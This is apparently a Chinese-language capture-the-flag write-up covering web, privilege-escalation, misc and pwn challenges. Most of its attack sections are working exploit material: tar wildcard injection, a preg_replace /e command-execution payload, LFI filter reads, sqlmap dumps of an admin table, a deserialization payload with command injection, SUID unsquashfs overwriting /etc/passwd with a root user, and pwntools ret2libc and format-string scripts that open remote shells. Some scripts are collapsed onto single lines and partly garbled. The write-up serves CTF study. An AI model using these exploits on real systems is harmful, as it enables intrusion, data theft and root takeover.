访问index.php会被跳转到index.php?id=1 而且还有写送分题,尝试很多后,发现是考验爆破,上burpsuite爆破即可,最后在index.php?id=2333页面找到flag
访问index.php看到getflag.php进去后是代码审计
这题类似于hitcon2017的题目,参考以下writeup:
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/
这题关于要先得到自己外网ip,以及计算出md5值,于是我在自己的vps上建立php文件:
<?php
$ip=@$_SERVER['REMOTE_ADDR'];
echo $ip."<br />";
$d=@$_GET['d'];
echo md5('cetcrce'.$d.$ip)."<br />";
然后在getflag.php页面分别提交下面链接。这里一个坑是hitcon是按字母排序
?dir=p&c=>tar
?dir=p&c=>vcf
?dir=p&c=>x
?dir=p&c=* /v*
前3个会分别在对应的目录下生成文件,而*会解析为当前目录下所有文件,/v*用来指代/var
整个效果就变成了tar vcf x /v*
把/var都打包到x,然后下载tar包,很大- -,解压后找flag.php
访问index.php,有view-source
绕过很简单
/index.php?
id=1.000000000000000000009&submit&page=flag.php
然后
这里可以写入文件,试了下得上级目录,例如con=1.txt&file=../1.txt
然后关键是绕过后缀的过滤,本来想尝试,但意外的发现了uploaded/有列目录漏洞
翻了一些,看到wfox.php,试了wfox、wf等密码,幸运的顺利上车
访问/index.php?page=index 发现存在文件包含漏洞
/index.php?page=php://filter/convert.base64-encode/resource=index.php
读取到index.php源码
关键点:xff、pre_replace可以/e模式
最后payload:
x-forwarded-for:127.0.0.1
/index.php?
pat=/test/e&rep=system('cat+./s3chahahaDir/flag/flag.php');&sub=test
试了/.index.php.swp,下载后恢复是空的
在上传界面折腾了好久,后来试试/includes/uploaded目录(uploaded这个文件夹前面有一个web题也是同样的目录),大有收获
前人种树,后人乘凉。
后面刷新发现是白页,再刷新几次又列目录,反复几次都这样。
后面我猜到了,对比前后2次结果,我猜测后台有脚本在删除带后缀的文件(估计为了防止getshell),包括index.html/index.php,然后删除后再从备份里复原。但是这样就有短暂的时间内因为缺少index而导致列目录漏洞。
在findpwd.php存在sql注入
抓包:
POST /findpwd.php HTTP/1.1
Host: 47.104.1.173:20004
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Referer:
http://47.104.1.173:20004/findpwd.php
Cookie:
PHPSESSID=a70j8l02p8qolcam4b259qf375
X-Forwarded-For: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
username=1
使用sqlmap
python sqlmap.py -r 222.txt --dbs
python sqlmap.py -r 222.txt -D cetc004 --tables
python sqlmap.py -r 222.txt -D cetc004 -T admin --dump
这个md5值暂时解不开,很大程度是带了盐。
后来发现可以自己注册同名账号,再登录下就可以进去拿到flag。
存在.git泄露,使用GitHack即可还原代码
就一个常见的php反序列化漏洞,参考
php反序列化漏洞绕过魔术方法
https://www.cnblogs.com/Mrsm1th/p/6835592.html
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
最后的payload:
/index2.php?file=Flag&ad[]=--
&secret=O:6:"Record":2:
{s:4:"file";s:50:"p.php||tac
/var/www/html/import/Flag.php ||echo 1";}
尝试了几个提权的exp均无果,遂从SUID下手
查找具有SUID权限位的程序,发现/usr/sbin/unsquashfs这个程序具有SUID权限位
于是构造一个squashfs格式的文件包,目录结构如下
其中的passwd是sdn1服务器上的/etc/passwd文件,在末尾加入了
一个新的用户line,密码哈希也是自己生成的,UID GID均为0(root:root)
然后打包得到squashfs格式的文件(exp)
把exp这个文件scp到服务器上,然后解包到/,即可覆盖掉/etc/passwd
然后su line,输入密码即可以line这个账户登录,而此时line这个账户的UID为0,即提权成功。在/home/admin下找到flag
一个word,分析得头疼,试了各种隐写,也就得到
the flag is (3ijnhygvfr)Hyou need find another key
之后认真在winhex里观看
有photoshop和jpx字样,发现是用photoshop对png转换为jpx,于是我自己用photoshop打开随便一个png,另存为jpx后缀,然后对比文件头,去修复原来word里面的jpx的头部并分离出来
是一个SmarNC的截图
于是我下载了SmarNC,并按照左边的程序去绘制,可惜不全。
另外这时候,我也参悟了the flag is (3ijnhygvfr)H
是键盘密码
勾画出了一个w
另外刀路图:
3w的来源:
一个是键盘图
一个是第一层刀路
一个是第二层刀路
H的意思是HEX
我们提交过www和WWW的原值、hex值,也尝试过不少提交,最后发现是3w的hex值3377
(满脸想吐槽)
另外,我们本来设想是以下脑洞:
用点脑洞的话,这不是就键盘!!!
于是把10个镶嵌孔和圆点对应到键位。
可惜我们尝试各种提交不对。
这个就是vxworks早版本os带的操作系统用户密码hash的算法再修改了一点点数字,但这几个个版本的os这个算法有大概率的碰撞漏洞,所以这题存在多解。
参考链接:
施耐德PLC以太网模块固件后门引发的血案(二)
http://chuansong.me/n/1864343
程序如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//cQwwddSRxS
//4066552172
//RSbcdwxy9Q
int enc_(char* in, char* out)
{
int ix;
unsigned long magic = 31695317;
unsigned long passwdInt = 0;
if(strlen(in) <= 0 || strlen(in) > 40)
{
return 1;
}
for(ix = 0; ix < strlen(in);ix++)
passwdInt+= ((in[ix])*(ix+1))^(ix+1);
passwdInt*=magic;
sprintf(out,"%u",passwdInt);
printf("%sn",out);
for(ix=0;ix<strlen(out);ix++)
{
if(out[ix]<'3')
out[ix]+='!';
if(out[ix]<'7')
out[ix]+='/';
if(out[ix]<'9')
out[ix]+='B';
}
return 0;
}
int enc(char* in, char* out)
{
int ix;
unsigned long magic = 31695317;
unsigned long passwdInt = 0;
if(strlen(in) <= 0 || strlen(in) > 40)
{
return 1;
}
for(ix = 0; ix < strlen(in);ix++)
passwdInt+= ((in[ix])*(ix+2))^(ix+1);
passwdInt*=magic;
if(passwdInt == 4066552172)//4066552172 4213462421
{
printf("key:%sn",in);
#if 1
sprintf(out,"%u",passwdInt);
for(ix=0;ix<strlen(out);ix++)
{
if(out[ix]<'3')
out[ix]+='!';
if(out[ix]<'6')
out[ix]+='/';
if(out[ix]<'9')
out[ix]+='A';
}
printf("%sn",out);
}
#endif
return 0;
}
char book[]={'',
'0','1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'!','"','#','$','%','&','(',')','*','+',',','-','.','/',':',';','<','=','>','?', '@','[','\',']', '^','-','{','|','}','~',' '};
int main(void)
{ char in[40]={0},out[40];
char idx[40];
char k;
//printf("chartable %d",sizeof book);
#if 1
for(idx[7] = 1; idx[7] < sizeof(book); idx[7]++)
for(idx[6] = 1; idx[6] < sizeof(book); idx[6]++)
{
for(idx[5] = 1; idx[5] < sizeof(book); idx[5]++)
for(idx[4] = 1; idx[4] < sizeof(book); idx[4]++)
for(idx[3] = 1; idx[3] < sizeof(book); idx[3]++)
//for(idx[2] = 1; idx[2] < sizeof(book); idx[2]++)
//for(idx[1] = 1; idx[1] < sizeof(book); idx[1]++)
//for(idx[0] = 1; idx[0] < sizeof(book); idx[0]++)
{
for(k=0;k<8;k++)
in[k]=book[idx[k]];
in[0]='1';in[1]='2';in[2]='3';
enc(in,out);
}
}
#endif
//scanf("%s",in);
//enc("123456",out);
//printf("%sn",out);
//system("pause");
return 0;
}
运行后得到:
由于多解,询问了出题人,出题人认可我们的123kg}I0正确。
脚本代码如下:
import pwnimport timeimport ospwn.context.log_level = 'debug'def run(): t = pwn.remote('47.104.177.194',30005) t.recv() t.recv() t.recv() t.sendline('159') t.sendline('1') time.sleep(9.5) t.sendline('cat flag') data = t.recvall() if len(data) > 10: fp = open("/tmp/flag", 'w') fp.write(data) fp.close() os.system('echo "%s" >> /tmp/flag'%data) print datafor i in range(100): pid = os.fork() if pid == 0: breakfor i in range(10): run()
以下是自己写的软件,来发送包
栈溢出:
脚本如下:
#!/usr/bin/env python#
-*-coding:utf8 -*-
from pwn import *
import re
context.arch = 'i386'
if len(sys.argv) < 2:
p = process('./1stack')
context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2]))
context.log_level = 'debug'
read_got_plt = 0x0804A00C
puts_plt = 0x080484F0
vul_func = 0x080488A8
read_off = 0xd4350
system_off = 0x3a940
binsh_off = 0x15900b
printf_off = 0x49020
# elf = ELF('/lib/i386-linux-gnu/libc.so.6')
# read_off = elf.symbols['read']
# printf_off = elf.symbols['printf']
# system_off = elf.symbols['system']
# binsh_off = elf.search('/bin/sh').next()
# gdb.attach(p,'b *0x080488DC')
# raw_input('?')p.recvuntil("*...........................................................")
payload =
'A'*0x8c+p32(puts_plt)+p32(vul_func)+p32(read_got_plt)p.sendline(payload)
while True:
if p.recvuntil(chr(0xf7),timeout = 0.5):
break
res = p.recv(8)
print res.encode('hex')
printf_addr = u32(res[:4])
system_addr = printf_addr-printf_off+system_off
binsh_addr= printf_addr-printf_off+binsh_off
log.info('system addr:'+hex(system_addr))
payload =
"A"*0x8c+p32(system_addr)+p32(vul_func)+p32(binsh_addr)p.recvuntil("*...........................................................")
p.sendline(payload)
log.info('get shell')
p.interactive()
栈溢出
mmap hero的状态文件。可以以同名进行多次链接,修改血量值等
脚本如下:
#!/usr/bin/env python
# -*-coding:utf8 -*-
from pwn import *
import re
context.arch = 'i386'
if len(sys.argv) < 2:
p = process('./play')
context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2]))
# context.log_level = 'debug'
def login():
p.recvuntil("login:")
p.sendline('poyoten')
def get_status():
p.recvuntil("Surplus:")
hero_hp = int(re.findall('(d+)',p.recvuntil(' |n'))[0])
p.recvuntil("Surplus:")
mon_hp = int(re.findall('(d+)',p.recvuntil(' |n'))[0])
p.recvuntil("Slave:")
slave = int(re.findall('(d+)',p.recvuntil(' |n'))[0])
return hero_hp,mon_hp,slave
def change_skill():
p.recvuntil(">>")
p.sendline(str(3))
p.recvuntil(">>")
p.sendline(str(1))
def cheat():
p1 = remote("47.104.90.157",30003)
# p1 = process('./play')
p1.recvuntil("login:")
p1.sendline('poyoten')
p1.recvuntil("Surplus: ")
hero_hp = int(re.findall('(d+)',p1.recvuntil(' |n'))[0])
p1.recvuntil("Slave:")
slave = int(re.findall('(d+)',p1.recvuntil(' |n'))[0])
while hero_hp < 50*(slave+1):
p1.recvuntil(">>")
p1.sendline("2")
p1.recvuntil("Surplus: ")
hero_hp = int(re.findall('(d+)',p1.recvuntil(' |n'))[0])
p1.close()
login()
change_skill()
while 'status' in p.recvuntil('-----n',timeout = 1):
(hero_hp,mon_hp,slave) = get_status()
if slave == 2:
if hero_hp < 30:
cheat()
if slave == 3:
if hero_hp < 70:
cheat()
p.recvuntil(">>")
p.sendline(str(1))
p.recvuntil("(1:yes/0:no):")
p.sendline(str(1))
read_got_plt = 0x0804B00C
puts_plt = 0x08048670
vul_func = 0x8048EC7
read_off = 0xd4350
system_off = 0x3a940
binsh_off = 0x15900b
# elf = ELF('/lib/i386-linux-gnu/libc.so.6')
# read_off = elf.symbols['read']
# system_off = elf.symbols['system']
# binsh_off = elf.search('/bin/sh').next()
payload =
"A"*0x4c+p32(puts_plt)+p32(vul_func)+p32(read_got_plt)
p.recvuntil("name:")
p.sendline(payload)
p.recvuntil("welcomen")
res = p.recv(8)
read_addr = u32(res[:4])
system_addr = read_addr-read_off+system_off
binsh_addr= read_addr-read_off+binsh_off
log.info('system addr:'+hex(system_addr))
payload = "A"*0x4c+p32(system_addr)+p32(vul_func)+p32(binsh_addr)
# gdb.attach(p,'b *08048F01')
raw_input('?')
p.recvuntil("name:")
p.sendline(payload)
log.info('get shell')
p.interactive()
格式化漏洞
脚本如下:
#!/usr/bin/env python # -*-coding:utf8 -*- from pwn import * import struct def max(a,b): if (a>=b): return a else: return b def GenFormatStr(addr,val): HI = (val&0xFFFF0000)>>16 LO = val&0xFFFF if HI > LO: payload = p32(addr) + p32(addr +2) payload += "%%%dc"%(LO-8)+"%12$hn"+"%%%dc"%(HI-LO)+"%13$hn" else: payload = p32(addr+2) + p32(addr) payload += "%%%dc"%(HI-8)+"%12$hn"+"%%%dc"%(LO-HI)+"%13$hn" return payload context.arch = 'i386' if len(sys.argv) < 2: p = process('./pwn') context.log_level = 'debug' else: p = remote(sys.argv[1], int(sys.argv[2])) # gdb.attach(p,'b *0x804887c ') addr = 0x0804b14c val = 0x02223322 payload = GenFormatStr(addr,val) p.recvuntil("初始化反应。") p.sendline(payload) p.recvuntil("成功") print p.recv()